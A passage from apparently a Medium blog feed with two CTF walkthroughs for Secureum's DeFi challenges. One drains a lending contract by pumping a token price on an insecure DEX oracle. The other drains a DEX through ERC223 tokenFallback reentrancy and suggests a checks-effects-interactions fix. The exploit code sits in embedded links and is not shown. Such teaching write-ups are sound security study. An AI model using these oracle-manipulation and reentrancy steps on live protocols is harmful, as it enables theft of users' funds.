InSecureumLenderPool contract is funded with 10000 $<strong>ISEC</strong> by the deployer.</blockquote><blockquote>📌 The BorrowSystemInsecureOracle contract has an initial amount of 10000 $<strong>ISEC</strong> and 10000 $<strong>BOR</strong> provided by the deployer.</blockquote><blockquote>📌 Users can add collateral and take loans from BorrowSystemInsecureOracle.</blockquote><blockquote>📌 Users may also get liquidated.</blockquote><blockquote>Will you be able to drain all the $<strong>ISEC</strong> from BorrowSystemInsecureOracle?</blockquote><p>— Some of the attack vectors that I imagine are a sum of what we have talked about in the previous posts. The name <em>BorrowSystemInsecureOracle </em>makes me think of <em>price manipulation by external feed for example</em>.</p><p><em>— Possibly! You can also say some of the exploits we already created may be viable in this setup.</em></p><p>— Yeah, most of the contracts we&#39;ve seen are being used in this challenge. Damn.</p><p><em>— This exercise also comes with a comment on how to use the provided contracts. Pay attention to it.</em></p><blockquote>The contracts that you will hack are:<br>&gt; <a href="https://github.com/eugenioclrc/DeFi-Security-Summit-Stanford/blob/master/challenges_sources/Challenge3.borrow_system.sol">BorrowSystemInsecureOracle</a></blockquote><blockquote>Which have interactions with the following contracts:<br>&gt; <a href="https://github.com/eugenioclrc/DeFi-Security-Summit-Stanford/blob/master/challenges_sources/Challenge1.lenderpool.sol">InSecureumLenderPool</a> <em>(this contract should be used by the attacker as part of the attack)<br>&gt; </em><a href="https://github.com/eugenioclrc/DeFi-Security-Summit-Stanford/blob/master/challenges_sources/Challenge2.DEX.sol">InsecureDexLP</a><br>&gt; <a href="https://github.com/eugenioclrc/DeFi-Security-Summit-Stanford/blob/master/challenges_sources/tokens/tokenInsecureum.sol">InSecureumToken</a><br>&gt; <a href="https://github.com/eugenioclrc/DeFi-Security-Summit-Stanford/blob/master/challenges_sources/tokens/tokenBoring.sol">BoringToken</a></blockquote><h3>The code</h3><p>As always, we are going to split the code into sections to be able to analyze it in chunks.</p><h4>First part</h4><p>Imports and interfaces.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/b4f5a9ab6f7b40dc2f265fbeaf10a744/href">https://medium.com/media/b4f5a9ab6f7b40dc2f265fbeaf10a744/href</a></iframe><p>Nothing new, and we can see as the description anticipated, that it&#39;s going to use the functionality of calcsAmountOut from <strong>InsecureDexLP</strong>. This function calculates the exchange ratio between two tokens.</p><h4>Second part</h4><p>Let&#39;s see variables, types, and the constructor.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/3783d4f81fe460d91a6baea80e6d860e/href">https://medium.com/media/3783d4f81fe460d91a6baea80e6d860e/href</a></iframe><p>Two tokens will be used, InSecureum (<strong>token0</strong>), and Boring (<strong>token1</strong>).</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/e0c0c684cb7d90083c1d9c03229c4f83/href">https://medium.com/media/e0c0c684cb7d90083c1d9c03229c4f83/href</a></iframe><p>They don&#39;t seem vulnerable since they are plain ERC20s using OZ&#39;s library. Nevertheless, never assume something is secure only because someone with deeper knowledge said so. Audits tend to be time-limited and mistakes can happen.</p><p>The <em>Oracle</em> will be <strong>InsecureDexLP</strong>, something we knew from the description. It will use calcsAmountOut to check the exchange ratio between these tokens.</p><p>The number of deposited and borrowed units for each token will be stored under tokenXDeposited and tokenXBorrowed .</p><h4>Third part</h4><p>Deposit and borrow functionality.</p><p><em>— Do they seem secure enough to you? </em>💭</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/32b0f4e3040740de7dc0f0f47b970fd9/href">https://medium.com/media/32b0f4e3040740de7dc0f0f47b970fd9/href</a></iframe><p>At first glance, there doesn’t seem to be a defined criterion like <strong><em>check-effects-interaction</em></strong>. I will assume it is safe for now despite how the logic is being displayed. Neither of the tokens will make this vulnerable to reentrancy.</p><p>Here we can see a new function appearing <strong>isSolvent </strong>. This introduces a new concept: <strong>Solvency</strong>.</p><p><em>&quot;Solvency portrays the ability of a business (or individual) to pay off its financial obligations&quot;. </em>In this case, it is referring to the ability of an account to return what has been borrowed.</p><blockquote>Further reading: <a href="https://www.investopedia.com/terms/s/solvency.asp">Solvency</a> by Investopedia</blockquote><p>And with it, comes another term: <strong>Collateral</strong>.</p><blockquote>Collateral is a very basic concept in the financial industry, it just means something you put up as a guarantee when borrowing money. If you can’t pay back, your collateral will be used to pay your debt. — from OZ&#39;s forum.</blockquote><h4>Fourth part</h4><p>The logic for checking solvency over a user.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/446081beca4f229fa158c4179ff43709/href">https://medium.com/media/446081beca4f229fa158c4179ff43709/href</a></iframe><p>We read a comment with the acronym <strong>LTV</strong>. If you look up that term, you&#39;ll find it means loan-to-value ratio.</p><blockquote><strong>What is a Loan-to-Value (LTV) Ratio?</strong></blockquote><blockquote>LTV is a commonly used ratio that lenders use when evaluating the risks associated with a loan opportunity. <strong>LTV is the ratio between the loan amount and the value of the underlying asset.</strong></blockquote><blockquote>What is a Loan-to-Value ratio used for? Generally, LTV is used by lenders to evaluate how much collateral coverage their loan will have. Ultimately, risk is evaluated based on the likelihood that the proceeds from the sale of the collateral will be adequate to cover the outstanding principal loan balance if a lender has to sell the collateral to recoup the investment.</blockquote><blockquote>Further reading: <a href="https://www.yieldstreet.com/resources/article/ltv/">LTV</a> by YieldStreet.</blockquote><p>It first estimates the user’s current collateral by calculating how many <strong>InSecureumTokens</strong> would have if it were to swap everything to that asset.</p><p><strong>maxBorrow</strong> sets the cap for the amount to borrow of one token directly influenced by the deposited amount of the other.</p><p>If you deposited 1000 <strong>InSecureumTokens</strong> for example, you can borrow up to ~1111 <strong>BoringTokens</strong> with the initial current token price.</p><p>The solvency is heavily based on <strong>InSecureumTokens</strong>. It uses tokenPrice to calculate how many <strong>InSecureumToken</strong> equals a single <strong>BoringToken</strong>.</p><p>In short, the code tries to see if the <em>current</em> maximum allowed amount to borrow is higher than what the user has already borrowed. If that happens, that user becomes insolvent and has to be liquidated.</p><p>—Uhm, I have a question.</p><p><em>— Shoot.</em></p><p>—Why is it <strong>calcsAmountOut</strong> used like that?</p><p><em>— What do you mean?</em></p><p>— Wouldn&#39;t it be better to call <strong>calcsAmountOut</strong> directly, rather than <strong>tokenPrice</strong>? Like <strong>calcsAmountOut(address(token1), token1Deposited[msg.sender]).</strong></p><p><em>—Great catch. At this point, I think it would’ve been the same but the concept of “price oracle” would have gone amiss.</em></p><p>What do <em>you</em> think? 💭</p><p>On a side note, if we were to borrow more than we deposited, we would need to make the other tokens &quot;less boring&quot; (increase the value of their price), since it is the only token referenced by an external feed.</p><h4>Fifth part</h4><p>Liquidation means that your collateral price drops closer / is unable to support your debt value (what you borrowed), and the protocol allows others to repay your debt in exchange for your collateral 😱.</p><p>Sometimes it is even incentivized.</p><blockquote>Further reading: <a href="https://www.yield.app/blog/defi-lending-and-borrowing-guide">Lending and Borrowing</a></blockquote><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/d1941472871afce0fb5f46c4d5b6bad7/href">https://medium.com/media/d1941472871afce0fb5f46c4d5b6bad7/href</a></iframe><p>As you can see, by &quot;returning&quot; (transferring back) what a user has borrowed you can claim what that same user deposited as collateral.</p><h3>Vulnerabilities &amp; Exploit</h3><p>Since the borrow systems&#39; contract <em>seems</em> to be in shape, and the challenge hints us to use other contracts, I&#39;m going to start there.</p><p>Things that I know:</p><ol><li>We don&#39;t have the token with the <strong>approve</strong>() bug.</li><li>We can&#39;t drain the <strong>DEX</strong> using reentrancy because there&#39;s no <strong>tokenFallback</strong> and I can&#39;t modify <strong>DEX&#39;s</strong> token addresses to force it.</li><li>By modifying the balances, I can drain the <strong>pool</strong> to withdraw 10000 $<strong>ISEC</strong>.</li><li>I need to get some $<strong>BOR</strong> and then spike its price to be able to borrow all the <strong>$ISEC</strong> I can get.</li><li>It would be ideal to <strong>stay solvent</strong> throughout our attack.</li></ol><h4>Hands-on!</h4><p>0) Initial stats for the entire ecosystem.</p><blockquote><strong>— Pool(tokens)<br>$ISEC</strong>: 10000</blockquote><blockquote><strong>— DEX(status)<br></strong>liquidity: 100<br>reserve0 (<strong>ISEC</strong>): 100<br>reserve1 (<strong>BOR</strong>): 100</blockquote><blockquote><strong>— Challenger(tokens)</strong><br>$<strong>ISEC</strong>: 0<br>$<strong>BOR</strong>: 0</blockquote><blockquote><strong>— BorrowSystem(status)<br>$ISEC:</strong> 10000, <strong>$BOR</strong>: 10000<br>Challenger <strong>solvent</strong>: yes<br> $<strong>ISEC -&gt;</strong> Deposited: 0, Borrowed: 0<br> $<strong>BOR</strong> -&gt; Deposited: 0, Borrowed: 0<br> <strong>💰 1 $BOR == 0 $ISEC</strong></blockquote><p>1) Ok, let&#39;s start by draining the <strong>pool</strong>.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/6a0cffc44072d71ec8bad882fab80cfa/href">https://medium.com/media/6a0cffc44072d71ec8bad882fab80cfa/href</a></iframe><p>To do this, I used the exploit from challenge 2 where I modify my balance to be able to withdraw all the available tokens from the pool.</p><p>Status after the withdrawal:</p><blockquote><strong>— Pool(tokens)<br>$ISEC</strong>: 0</blockquote><blockquote><strong>— DEX(status)<br></strong>liquidity: 100<br>reserve0 (<strong>ISEC</strong>): 100<br>reserve1 (<strong>BOR</strong>): 100</blockquote><blockquote><strong>— Challenger(tokens)</strong><br>$<strong>ISEC</strong>: 10000<br>$<strong>BOR</strong>: 0</blockquote><blockquote><strong>— BorrowSystem(status)<br>$ISEC:</strong> 10000, <strong>$BOR</strong>: 10000<br>Challenger <strong>solvent</strong>: yes<br> $<strong>ISEC -&gt;</strong> Deposited: 0, Borrowed: 0<br> $<strong>BOR</strong> -&gt; Deposited: 0, Borrowed: 0<br> <strong>💰 1 $BOR == 0 $ISEC</strong></blockquote><p>2) Now let&#39;s borrow some $<strong>BORs</strong> before we make them spike.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/39a98246b8d671ad166a35132c090f95/href">https://medium.com/media/39a98246b8d671ad166a35132c090f95/href</a></iframe><p>First, we let <strong>BorrowSystem</strong> manage tokens on my behalf. Then I deposit 1k $<strong>ISEC</strong> (arbitrary value) to be able to borrow 1k $<strong>BOR</strong>.</p><p>At this point with the current price, we have ~<strong>1111</strong> of a maximum borrow so we are safe (still solvent).</p><p>Status after borrowing:</p><blockquote><strong>— Pool(tokens)<br>$ISEC</strong>: 0</blockquote><blockquote><strong>— DEX(status)<br></strong>liquidity: 100<br>reserve0 (<strong>ISEC</strong>): 100<br>reserve1 (<strong>BOR</strong>): 100</blockquote><blockquote><strong>— Challenger(tokens)</strong><br>$<strong>ISEC</strong>: 9000<br>$<strong>BOR</strong>: 1000</blockquote><blockquote><strong>— BorrowSystem(status)<br>$ISEC:</strong> 11000, <strong>$BOR</strong>: 9000<br>Challenger <strong>solvent</strong>: yes<br> $<strong>ISEC -&gt;</strong> Deposited: 1000, Borrowed: 0<br> $<strong>BOR</strong> -&gt; Deposited: 0.0, Borrowed: 1000<br> <strong>💰 1 $BOR == 0 $ISEC</strong></blockquote><p>3) Let&#39;s swap some <strong>$ISEC</strong> tokens for some <strong>$BORS</strong> to spike the price.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/3a4197aca17e91d2833aa67c3351f7eb/href">https://medium.com/media/3a4197aca17e91d2833aa67c3351f7eb/href</a></iframe><p><em>— What is the minimum amount of tokens that I can use to considerably spike up the price? </em>💭</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*43U9Crh4EHfszozQ0Ws8CQ.png" /><figcaption>calcAmountsOut graph</figcaption></figure><p>To increase the price of a reserve, we have to make it scarce. So we will ask the DEX to swap 1k $<strong>ISEC</strong> (again, arbitrary) for $<strong>BOR</strong>.</p><p>Status after the swap:</p><blockquote><strong>— DEX(status)</strong><br>reserve0 (<strong>ISEC</strong>): 1100<br>reserve1 (<strong>BOR</strong>): 9</blockquote><blockquote><strong>— Challenger(tokens)</strong><br>$<strong>ISEC</strong>: 8000<br>$<strong>BOR</strong>: 1091</blockquote><blockquote><strong>— BorrowSystem(status)<br>$ISEC:</strong> 11000, <strong>$BOR</strong>: 9000<br>Challenger <strong>solvent</strong>: yes<br> $<strong>ISEC -&gt;</strong> Deposited: 1000, Borrowed: 0<br> $<strong>BOR</strong> -&gt; Deposited: 0.0, Borrowed: 1000<br> <strong>💰 1 $BOR == 120 $ISEC</strong></blockquote><p>As you can see, the <strong>BoringToken</strong> is not that boring anymore 😄. A single unit is now worth 120 <strong>InSecureumToken</strong>s. And the borrowing cap was updated to ~122,232 💥.</p><p>I proceed by depositing the thousand $<strong>BORs</strong> I borrowed that now are worth a lot more.</p><p>Status after depositing $<strong>BOR</strong> to the BorrowSystem:</p><blockquote><strong>— Challenger(tokens)</strong><br>$<strong>ISEC</strong>: 8000<br>$<strong>BOR</strong>: 91</blockquote><blockquote><strong>— BorrowSystem(status)<br>$ISEC:</strong> 11000, <strong>$BOR</strong>: 10000<br>Challenger <strong>solvent</strong>: yes<br> $<strong>ISEC -&gt;</strong> Deposited: 1000, Borrowed: 0<br> $<strong>BOR</strong> -&gt; Deposited: 1000, Borrowed: 1000<br> <strong>💰 1 $BOR == 120 $ISEC</strong></blockquote><p>4) And last, let&#39;s wipe the $<strong>ISECs </strong>from <strong>BorrowSystem</strong>.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/d9eee42d3363fbaef5aa658787d96328/href">https://medium.com/media/d9eee42d3363fbaef5aa658787d96328/href</a></iframe><p>With the added $<strong>BOR</strong> as collateral — at its all-time high —, I can ask for the remaining $<strong>ISEC </strong>tokens<strong> </strong>the lending platform has, thus solving the challenge.</p><blockquote><strong>— DEX(status)</strong><br>reserve0 (<strong>ISEC</strong>): 1100<br>reserve1 (<strong>BOR</strong>): 9</blockquote><blockquote><strong>— Challenger(tokens)</strong><br>$<strong>ISEC</strong>: 19000<br>$<strong>BOR</strong>: 91</blockquote><blockquote><strong>— BorrowSystem(status)<br>$ISEC:</strong> 0, <strong>$BOR</strong>: 10000<br>Challenger <strong>solvent</strong>: yes<br> $<strong>ISEC -&gt;</strong> Deposited: 1000, Borrowed: 11000<br> $<strong>BOR</strong> -&gt; Deposited: 1000, Borrowed: 1000<br> <strong>💰 1 $BOR == 120 $ISEC</strong></blockquote><h4>Some comments</h4><p>It’s not silly to assume that an attacker would do all this in a single transaction. In-between transactions can interfere with its strategy.</p><p>I modified the variables of <strong>BorrowSystem</strong> from <em>private</em> to <em>public</em> to be able to access them easier.</p><p><em>Note: You can always access private variables using storage lots.</em></p><p>Not a single time we&#39;ve become insolvent.</p><h3>Solution</h3><h4>Exploit contract</h4><p>Nothing new actually, we reused <strong>Exploit1.sol</strong> and then just manipulated the market 😈.</p><p>We <em>could</em> create a new contract that does everything for us, but that won&#39;t be necessary.</p><p>If you like, you can take that as an exercise 😉.</p><h4>Deployment</h4><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/07ef8f3e8efc3877b8b5a1e9df2d309e/href">https://medium.com/media/07ef8f3e8efc3877b8b5a1e9df2d309e/href</a></iframe><p>And that would be all! 👏</p><p>Congratulations on following this series. I hope this walk-through helped you improve the way you see contracts and how to approach them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/0*vHqx9H8dJnsQ1g7A.png" /><figcaption>Render from Journey character by lugalque at DeviantArt</figcaption></figure><p>Speaking about this series, what did you like more? what did resonate less with you? Let me know in the comments!</p><p>If you feel you’re lacking in DeFi knowledge, you can check out:</p><ul><li><a href="https://forum.openzeppelin.com/t/defi-101-concepts-you-need-to-understand-before-using-a-defi-protocol/2577">101 concepts</a> definition from the OpenZeppelin forum</li><li><a href="https://www.khanacademy.org/economics-finance-domain/core-finance/derivative-securities">Khan Academy</a> unit also recommended by <a href="https://medium.com/u/56a971659c6f">Christoph Michel</a></li><li><a href="https://uniswapv3book.com/">Uniswap V3 Development Book</a> (just came out of the oven)</li></ul><p>I’m going to take a break from writing for a while, and while I do, I encourage you to try <a href="https://www.damnvulnerabledefi.xyz/">Damn Vulnerable DeFi</a> by <a href="http://twitter.com/tinchoabbate">@tinchoabbate</a>. I’m certain when I say that if you like this kind of exercise you’re going to love it and learn a lot more from them.</p><p>Again, thanks for reading! ❤️</p><p><em>Thanks for reading! My name is Matt, and I’m learning how to make Ethereum more secure. I will be sharing some things from time to time.<br>Follow me on twitter </em><a href="https://medium.com/@mattaereal/twitter.com/mattaereal"><em>@mattaereal</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=407f5de236f8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A-MAZE-X CTF Walkthrough | Part III]]></title>
            <link>https://medium.com/@mattaereal/a-maze-x-ctf-walkthrough-part-iii-dd8997b7b5bf?source=rss-e8f043f3c497------2</link>
            <guid isPermaLink="false">https://medium.com/p/dd8997b7b5bf</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[solidity]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[exploitation]]></category>
            <dc:creator><![CDATA[matta @ theredguild.org]]></dc:creator>
            <pubDate>Tue, 04 Oct 2022 20:15:37 GMT</pubDate>
            <atom:updated>2022-10-08T17:18:31.177Z</atom:updated>
            <content:encoded><![CDATA[<p><em>This post belongs to a series of articles dedicated to solving the DeFi challenges hosted by Secureum at Stanford University on the past 26 of August.</em></p><p><em>Additionally, this series is part of a greater series called </em><a href="https://medium.com/@mattaereal/a-journey-into-smart-contract-security-3115ff480f28"><em>A journey into smart contract security.</em></a></p><figure><img alt="A-MAZE X CTF" src="https://cdn-images-1.medium.com/max/1024/1*4Ur84oDcMPtBvpKuSxmrFw.png" /><figcaption>Image extracted from LiveOverflow’s YT channel</figcaption></figure><p>I think I&#39;m getting used to doing this! Are you ready for the third one?</p><h3>Table of contents</h3><p>0. <a href="#3251">Table of contents</a><br>1. <a href="#076d">Challenge2.DEX — it’s always sunny in decentralized exchanges</a><br> 1.1. <a href="#70bf">Challenge description</a><br> 1.2. <a href="#a870">First part</a><br> 1.3. <a href="#9af5">Second part</a><br> 1.4. <a href="#b5a6">Third part</a><br> 1.5. <a href="#8770">Fourth part</a><br>2. <a href="#daa4">Vulnerability</a><br> 2.1. <a href="#41fc">A safer removeLiquidity. </a><br>3. <a href="#cb65">The exploit</a><br>4. <a href="#8535">Solution</a><br> 4.1. <a href="#56fb">Exploit contract</a><br> 4.2. <a href="#7c56">Deployment</a></p><h3>Challenge2.DEX — it’s always sunny in decentralized exchanges</h3><p>Aaand again, before jumping to the challenge description, let’s do some thinking first.</p><blockquote><strong><em>Reminder</em></strong><em> to </em><strong><em>pause</em></strong><em>, and </em><strong><em>really</em></strong><em> think every time you see this emoji near a paragraph: 💭</em></blockquote><p><em>— What can you imply from looking at the challenge&#39;s filename?</em></p><p>— That it is going to be related to a <strong>DEX?</strong></p><p><em>— Yes! For those who don&#39;t know what it means, it stands for Decentralized Exchange. Basically, a smart contract that handles trades between two or more tokens for example.</em></p><p>— But what does the title mean? <em>&quot;It&#39;s always sunny in decentralized exchanges&quot;</em>?</p><p><em>— You beat me on that one, I know there was a TV show called </em><a href="https://www.urbandictionary.com/define.php?term=It%27s%20Always%20Sunny%20In%20Philadelphia"><em>&quot;It&#39;s always sunny in Philadelphia&quot;</em></a><em> (that would probably get canceled today), but nothing more.</em></p><blockquote>Further reading: <a href="https://blog.chain.link/dex-decentralized-exchange/">What is a decentralized exchange?</a></blockquote><p>To my understanding, one of the most challenging aspects of an exchange is the logic behind the trade ratio between two different assets. There are different approaches on this, but we’ll leave it here for now — one step at a time.</p><h4>Challenge description</h4><blockquote>I bet you are familiar with decentralized exchanges: a magical place where one can exchange different tokens.<br>InsecureDexLP is exactly that: a very insecure Uniswap-kind-of decentralized exchange.<br>Recently, the <strong>$ISEC</strong> token got listed in this dex and can be traded against a <em>not-so-popular</em> token called <strong>$SET</strong>.</blockquote><blockquote>📌 Upon deployment, the InSecureumToken and SimpleERC223Token contracts mint an initial supply of tokens 10 <strong>$ISEC </strong>and 10 <strong>$SET</strong> to the contract deployer.</blockquote><blockquote>📌 The InsecureDexLP operates with <strong>$ISEC</strong> and<strong> $SET</strong>.</blockquote><blockquote>📌 The dex has initial liquidity of 9 <strong>$ISEC</strong> and 9 <strong>$SET</strong>, provided by the contract deployer. This quantity can be increased by anyone through token deposits.</blockquote><blockquote>📌 Adding liquidity to the dex rewards liquidity pool tokens (LP tokens), which can be redeemed at any moment for the original funds.</blockquote><blockquote>Will you be able to drain most of InsecureDexLP&#39;s<strong> $ISEC/$SET</strong> liquidity?</blockquote><p>Ok, so basically this <strong>DEX</strong> handles two tokens. In total there are minted 10 of each, 9 <strong>$ISEC/$SET </strong>to the DEX and 1 <strong>$ISEC/$SET</strong> airdropped to us.</p><blockquote>What kind of logic vulnerabilities would you imagine possible in this domain? Write them down! 💭</blockquote><p>Mine were a few 😅</p><ol><li>Price manipulation by external feed.</li><li>Arithmetical mistakes.</li><li>Some kind of error abusing the interchange of tokens?</li><li>Tampering with token contracts states from outside the DEX.</li></ol><p>Again, let’s split the code parts.</p><h4>First part</h4><p>Let&#39;s look at the imports, and state variables definitions.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/6653e4c89ac2a89d2a391ef1ad8b3095/href">https://medium.com/media/6653e4c89ac2a89d2a391ef1ad8b3095/href</a></iframe><p>From looking exclusively at the variables we can assume several things:</p><ol><li>The <strong>DEX</strong> only exchanges two assets, which will be called <strong>token0</strong> and <strong>token1</strong>, both <strong>ERC20</strong> compliant. The balance for each token from this contract address will be stored in variables <strong>reserve0</strong> and <strong>reserve1</strong> respectively.</li><li><strong>totalSupply </strong>and the <strong>reserves</strong> should be somehow updated every time there is an exchange.</li></ol><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/da6188c55d647a9830c8a4fd8309d431/href">https://medium.com/media/da6188c55d647a9830c8a4fd8309d431/href</a></iframe><p>Excellent, there it is. Let’s see how and when it is being used then.</p><p><em>— Is there a possibility that the balances for these tokens can change in an unexpected way or moment, generating some in-between chaos? </em>💭</p><h4>Second part</h4><p>Adding liquidity: <em>shut up and take my money!</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*i5HqpsAZzkkorEv5.jpg" /><figcaption>Liquidity by Investopedia</figcaption></figure><p>This is the first time we see the term <strong>liquidity</strong> in this series. I leave you with a simple definition and a <a href="https://research.paradigm.xyz/amm-price-impact">recommended reading</a> — or at least a quick glance, come on — before continuing.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/2579acbffc92888ab8bb46a12f82a9cb/href">https://medium.com/media/2579acbffc92888ab8bb46a12f82a9cb/href</a></iframe><p><em>— Ok, back to it.</em></p><p>It starts by transferring ownership of the tokens to the <strong>DEX</strong> itself. It then updates the current <strong>liquidity</strong> by using two simple mathematical formulas.</p><p>It updates the reserves and adds the recently calculated <strong>liquidity</strong> to <strong>totalSupply </strong>and to the balances of <strong>msg.sender</strong>.</p><p>Despite being <strong>unchecked</strong>, the possibility of having an <em>underflow</em> or <em>overflow</em> would require <em>huge</em> numbers. <em>I will be ignoring this for now.</em></p><p><em>In case you are wondering, I did check the math that is used to calculate the liquidity. I’ve found it’s pretty common. So I decided to leave it aside for now as well.</em></p><h4>Third part</h4><p>Removing liquidity: <em>I want it back!</em></p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/faab5d289304fd3b39371b667a80a058/href">https://medium.com/media/faab5d289304fd3b39371b667a80a058/href</a></iframe><p>This expects the amount of <strong>liquidity</strong> to be removed to be equal to or lower than the actual balance from the msg.sender . It then calculates the amount to be withdrawn for each token and transfers them to the sender.</p><p>The last step of it updates the <strong>liquidity</strong> <strong>balance</strong> for msg.sender and the <strong>total</strong> <strong>liquidity</strong> in the dex.</p><p>If we are able to subtract <em>more</em> <strong>balance</strong> than we have, we can cause an <em>underflow.</em> Our liquidity will go through the roof.</p><pre>unchecked {<br><strong>_balances[msg.sender] -= amount;</strong><br>totalSupply -= amount;<br>}</pre><p>But this <strong>require</strong> is protecting that from happening 😢.</p><pre><strong>require(_balances[msg.sender] &gt;= amount);</strong></pre><h4>Fourth part</h4><p>Swapping assets and the logic underneath.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/e113c7edd5e2b6de9ef206e5e894aefb/href">https://medium.com/media/e113c7edd5e2b6de9ef206e5e894aefb/href</a></iframe><p>The use of<strong><em> </em></strong><strong>require</strong> makes the swapping between assets limited to trading only between the two known tokens to the <strong>DEX</strong>.</p><p>The only thing that is not restricted is swapping <em>from</em> and <em>to</em> the same token. Not that it would make sense but we could if we want to! 😜</p><p>So, what&#39;s behind the function that calculates how much you can get from a swap?</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/4c7865b8723fe0f9e8b429b66050365f/href">https://medium.com/media/4c7865b8723fe0f9e8b429b66050365f/href</a></iframe><p>According to the comments in the code, this part has been taken from the <a href="https://github.com/Uniswap/v2-periphery/blob/master/contracts/libraries/UniswapV2Library.sol#L43">actual code</a> from <strong>UniSwapV2Library</strong>. I corroborated they are similar in essence, and assumed it <em>should</em> be safe as well.</p><p>But I couldn&#39;t stop thinking about ways to get more tokens than I should:<br>1. How do I do to get the output of <strong>_calcAmountsOut</strong> higher? Can I decrease the denominator or increase the numerator?<br>2. How do I <em>increase</em> the number of reserves I want to retrieve?<br>3. How do I <em>decrease</em> the number of reserves I want to provide as input?</p><p>Here I started to use <strong>bpython </strong>— a fancy curses interface to the Python interactive interpreter that I always use as an auxiliary tool— . I manually tried different scenarios with what I had in control. I even thought of abusing on the <strong>approve</strong> function the <strong>ISEC</strong> token has, to see where it leads, but as you saw in the previous post, I&#39;m avoiding that path.</p><p>I was about to give up when I started to sense I might be missing something 😕.</p><h3>Vulnerability</h3><p>Frustrated I decided to check the tips section for the challenge, and glancing over I read <strong><em>reentrancy</em></strong> 😐.</p><p>I was kinda surprised and ashamed to read that because reentrancy is something I was pretty sure I&#39;d recognize <em>immediately</em>.</p><blockquote>Further reading: <a href="https://swcregistry.io/docs/SWC-107"><strong>Reentrancy</strong></a> — SWC Registry.</blockquote><p>The only way where a bug like this could be introduced and made sense to exploit was in this section.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/6c1aa70b0451e5da1a36dc8eec4fed6a/href">https://medium.com/media/6c1aa70b0451e5da1a36dc8eec4fed6a/href</a></iframe><p>And for that to happen, one of the tokens must do something that allows us to call again <strong>removeLiquidity</strong> .</p><p>That&#39;s when it hit me. I did not check the implementation of the other token! 😳</p><pre>const setTokenFactory = <br>await ethers.getContractFactory(“<strong>SimpleERC223Token</strong>”, deployer)</pre><p>It is a custom implementation of the <strong>ERC223</strong> token which adds an override to the function <strong>_afterTokenTransfer</strong>. This function is called every time a token is minted, burned, or <strong><em>transferred!</em></strong></p><p>Let&#39;s see what it does 🔎.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/c1e0543d873f06d5c888dc1362b321e3/href">https://medium.com/media/c1e0543d873f06d5c888dc1362b321e3/href</a></iframe><p>When <strong>removeLiquidity</strong> executes <strong>token1</strong>.<strong>safeTransfer</strong>(msg.sender, amount1) , the <strong>_afterTokenTransfer</strong> function gets triggered.</p><p>If the target destination of the token <strong>is</strong> a contract, then it calls the function <strong>tokenFallback</strong> inside <em>that</em> contract.</p><p><strong>That&#39;s it! This is where the vulnerability is.</strong></p><p>We could create a contract that triggers <strong>removeLiquidity</strong> and upon being called after a token transfer, it can call to a malicious implementation of a<strong>tokenFallback</strong> that calls <strong>removeLiquidity</strong> again…and again...until we drain the DEX entirely💥.</p><p>Fortunately, this is being done by <strong>token1</strong>, which transfers before the transfer of the other token, so we get a double prize 💕.</p><h4>A safer removeLiquidity.</h4><p><em>— How would you modify this function in order to be more secure, or at least be able to avoid a reentrancy exploit? 💭</em></p><p>If we were to follow the <a href="https://fravoll.github.io/solidity-patterns/checks_effects_interactions.html">CHECKS-EFFECTS-INTERACTIONS</a>, a much safer implementation for that code would be something like the code below.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/b94a8c5a9de63185780e41b4767bf89b/href">https://medium.com/media/b94a8c5a9de63185780e41b4767bf89b/href</a></iframe><h3>The exploit</h3><p>In order to craft the exploit, we need to take some things into account.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/24ee38c25885f4b8c14f2b8f8b05dedd/href">https://medium.com/media/24ee38c25885f4b8c14f2b8f8b05dedd/href</a></iframe><p><em>First</em>, we will need to transfer our tokens to the contract exploit. <em>Then</em> we will need to let the exploit code know <em>when</em> to stop the reentrancy. And <em>finally</em>, we must transfer the profit back to us.</p><p>9 rounds will be ok, since we start with 1 <strong>eth</strong> of each, and we can get at most 10 <strong>eth</strong> of each.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/d36d839fd01ed12f6c82e26cc886bc2c/href">https://medium.com/media/d36d839fd01ed12f6c82e26cc886bc2c/href</a></iframe><p>We start the sequence by calling <strong>run</strong> which 